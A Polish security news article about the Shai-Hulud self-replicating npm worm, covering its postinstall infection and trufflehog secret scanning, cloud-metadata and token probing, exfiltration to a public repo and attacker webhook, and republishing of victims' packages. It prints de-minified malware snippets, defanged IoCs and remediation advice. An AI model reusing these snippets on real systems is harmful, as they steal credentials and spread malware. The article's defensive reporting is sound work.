Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%
Kolejny atak na łańcuch dostaw w środowisku npm – kampania Shai-Hulud
Całkiem niedawno opisywaliśmy kampanię, która miała być największym atakiem na łańcuch dostaw w historii. Atakujący wykorzystali przejęte, dzięki phishingowi, konta programistów i umieścili w pakietach złośliwy kod wykradający środki z portfeli kryptowalut. Przestępcy osiągnęli dość dyskusyjny sukces (na szczęście), jednak to nie znaczy, że na tym zagrożenia czyhające na developerów zniknęły.
TLDR:
- Niepokojące odkrycie badaczy bezpieczeństwa wskazuje na nowy rodzaj kampanii cyberprzestępczej.
- Przeprowadzony atak na łańcuch dostaw instaluje malware na komputerze programistów pakietów npm. Oprócz wykradania tokenów, złośliwe oprogramowanie samo się replikuje i rozprzestrzenia z wykorzystaniem paczek w rejestrze, do których dostęp gwarantuje odnaleziony w systemie token autoryzacyjny.
- Atak wykorzystuje znane otwartoźródłowe narzędzia w celu identyfikacji poświadczeń do wykradnięcia.
Jak informują stepsecurity.io oraz socket.dev, w sieci trwa kampania samoreplikującego się malware, która dotknęła ponad 40 187 paczek npm (chociaż sytuacja zmienia się dynamicznie) w tym popularnego ctrl/tinycolor, czyli pakietu pobieranego niespełna dwa miliony razy w tygodniu. Badacze biją na alarm, ponieważ tym razem malware w bardzo prosty sposób replikuje się i infekuje kolejne pakiety, które są dostępne na systemach developerów.
O ataku poinformował jeden z użytkowników na platformie GitHub.
Malware wykorzystuje narzędzie trufflehog służące do skanowania projektów w celu odnalezienia sekretów takich jak tokeny, hasła czy klucze API. Narzędzie nie jest tylko wrapperem na proste polecenie grep na znane nazwy zmiennych środowiskowych ale wykorzystuje między innymi miarę entropii do wykrycia, czy dany ciąg może być wykorzystywany do uwierzytelniania. Według doniesień badaczy, malware skanuje system plików w poszukiwaniu – w szczególności – poświadczeń do systemów chmurowych. Atakujący są zainteresowani tokenami osobistymi (PAT – Personal Access Token) do GitHuba, kluczami do środowisk AWS, Azure, GCP czy npm.
Złośliwe oprogramowanie infekuje maszynę programisty przez przejętą wcześniej paczkę npm. Dzięki wyzwalaczowi “postinstall”, w momencie instalacji zainfekowanego pakietu npm uruchamiany jest zaciemniony (co jest ubocznym efektem zmniejszenia – ang. minified) kod zawarty w pliku bundle[.]js. Jego zadaniem jest przeprowadzenie profilowania platformy, na której skrypt został uruchomiony (analiza kodu źródłowego wskazuje, że na celowniku cyberprzestępców znalazły się systemy z rodziny GNU/Linux oraz MacOS) oraz dociągnięcie wymaganych zależności takich jak trufflehog. Fragment kodu źródłowego dodanego do paczki npm został przedstawiony na listingu 1.
// De-minified transcription from bundle.jsconst { execSync } = require(„child_process”);const os = require(„os”); function trufflehogUrl() { const plat = os.platform(); if (plat === „win32”) return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_windows_x86_64.zip”; if (plat === „linux”) return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_linux_x86_64.tar.gz”; return „hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/…/trufflehog_darwin_all.tar.gz”;} function runScanner(binaryPath, targetDir) { // Executes downloaded scanner against local paths const cmd = `”${binaryPath}” filesystem „${targetDir}” –json`; const out = execSync(cmd, { stdio: „pipe” }).toString(); return JSON.parse(out); // Parsed findings contain tokens and secrets} |
Co ciekawe malware nie szuka tylko lokalnie przechowywanych sekretów w systemie plików, ale aktywnie próbuje przeskanować środowisko uruchomieniowe. W przypadku odpalenia na systemie chmurowym, stara się wyciągnąć informacje z dostępnych endpointów (listing 2) oraz testuje dostępy do rejestru paczek npm oraz do portalu GitHub.
// Key network targets inside the bundleconst imdsV4 = „http://169[.]254[.]169[.]254”; // AWS instance metadataconst imdsV6 = „http://[fd00:ec2::254]”; // AWS metadata over IPv6const gcpMeta = „http://metadata[.]google[.]internal”; // GCP metadata // npm token verificationfetch(„https://registry.npmjs.org/-/whoami”, { headers: { „Authorization”: `Bearer ${process.env.NPM_TOKEN}` }}); // GitHub API use if GITHUB_TOKEN is presentfetch(„https://api.github.com/user”, { headers: { „Authorization”: `token ${process.env.GITHUB_TOKEN}` }}); |
Na uwagę zasługuje też aspekt eksfiltracji danych, który przebiega na dwa sposoby. Po pierwsze malware tworzy publiczne repozytorium na koncie atakowanego użytkownika o nazwie Shai-Hulud, do którego trafiają odnalezione sekrety. Oprócz tego, próbuje skonfigurować workflow GitHub Actions, który po spakowaniu przejętych poświadczeń w JSONa i zakodowanie do ciągu base64 wykonuje zapytanie do webhooka atakujących (hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7). Ten drugi mechanizm ma na celu zapewnienie persystencji – workflow eksfiltrujący poświadczenia będzie się uruchamiał przy każdym wypchnięciu zmiany do repozytorium.

Dopełnieniem zniszczenia jest enumeracja kont GitHub i zmiana widoczności repozytoriów – prywatne projekty użytkownika zostają zmienione na publiczne na tej platformie (jest to krok, który został opublikowany dopiero w analizie aikido.dev)

Najciekawszym elementem kampanii jest jednak zdolność malware do samoreplikacji. Nazwa malware, nawiązująca do “robaków” z popularnej powieści fantasy nie jest przypadkiem. Złośliwy kod nie tylko weryfikuje dostęp do różnych systemów za pośrednictwem wykrytych poświadczeń, ale aktywnie się kopiuje przeprowadzając infekcje dwudziestu najbardziej popularnych projektów npm zaatakowanego programisty.
Malware enumeruje dostępne projekty przy pomocy API rejestru npm, a następnie publikuje złośliwe aktualizacje w innych projektach, potencjalnie rozprzestrzeniając się na maszyny innych użytkowników.
// Deobfuscated NPM update snippetasync updatePackage(pkg) { // Patch package.json (add self as dep?) and publish await exec(`npm version patch –force && npm publish –access public –token ${token}`);} |
Jak słusznie zauważają badacze, sposób eksfiltracji danych przypomina niedawną kampanię, która dotknęła Nx.
Początkowe informacje wskazywały na 40 przejętych, popularnych paczek npm (listy zbackdoorowanych paczek dostępne są w linkowanych artykułach). Jednak po upływie niespełna 24h, można stwierdzić, że skala ataku jest znacznie większa. W serwisie GitHub pojawiło się ponad 700 repozytoriów, które wskazują na to, że dane konta mogły zostać przejęte w trwającej właśnie kampanii. Oprócz tego, jak informują badacze z socket.dev, ofiarą ataku padły też paczki publikowane przez crowdstrike-publisher. Na ten moment wiadomo, że wykryte złośliwe zmiany zostały wycofane.
Co może zaskakiwać, to rozbudowanie kampanii oraz dopracowanie scenariusza ataku. Przestępcy oprócz wykradania informacji z wielu źródeł sprowadzają na użytkowników jeszcze większe niebezpieczeństwo przez metody eksfiltracji. Poświadczenia i prywatne projekty mogą paść łupem nie tylko autorów tej kampanii, ale także oportunistycznych atakujących, którzy natkną się na opublikowane artefakty z ataku. W skrócie – trzeba mieć się na baczności.
Kampania została świetnie przedstawiona przy pomocy schematu ideowego opublikowanego przez firmę StepSecurity:

Użytkownikom zaleca się zachowanie szczególnej ostrożności i weryfikowanie wskaźników świadczących o możliwości bycia ofiarą tego ataku. Jeśli zachodzi podejrzenie, że w systemie znalazły się złośliwe paczki, należy założyć, że doszło do naruszenia bezpieczeństwa i podjąć kroki zaradcze. Zalecane jest skontrolowanie wersji wykorzystywanych paczek, wyczyszczenie cache npm, usunięcie złośliwego bundle[.]js, usunięcie publicznych repozytoriów użytych do eksfiltracji oraz usunięcie workflowów z gałęzi stworzonych przez malware. Dokonanie natychmiastowej wymiany poświadczeń cloudowych (AWS, GCP, Azure), kluczy SSH, tokenów, haseł etc. Przypominamy, że sama rotacja haseł do serwisów typu GitHub czy rejestr npm może nie być wystarczająca – należy też zadbać o odpowiednie wygaszenie aktywnych tokenów dostępowych (np. poleceniem npm token revoke <id|token>).
Monitoring środowiska oraz wykorzystanie tzw. canary tokens, mających na celu wyłapanie użycia skradzionych poświadczeń jest również dobrą taktyką do walki z tego typu zagrożeniami.
Musimy przyznać, że jest to naprawdę dobrze przygotowana kampania, która może wyrządzić wiele szkód.
Jeśli chodzi o IoC, to podlinkowane na wstępie artykuły zawierają ich kilka. My zacytuje tutaj dwa najważniejsze:
- 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09 – bundle[.]js
- hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7 – webhook do eksfiltracji danych
Oprócz tego warto sprawdzić swoje konto GH i upewnić się, że nie ma na nim dodatkowego publicznego repozytorium (oraz czy nie zmieniła się widoczność innych projektów).
~Black Hat Logan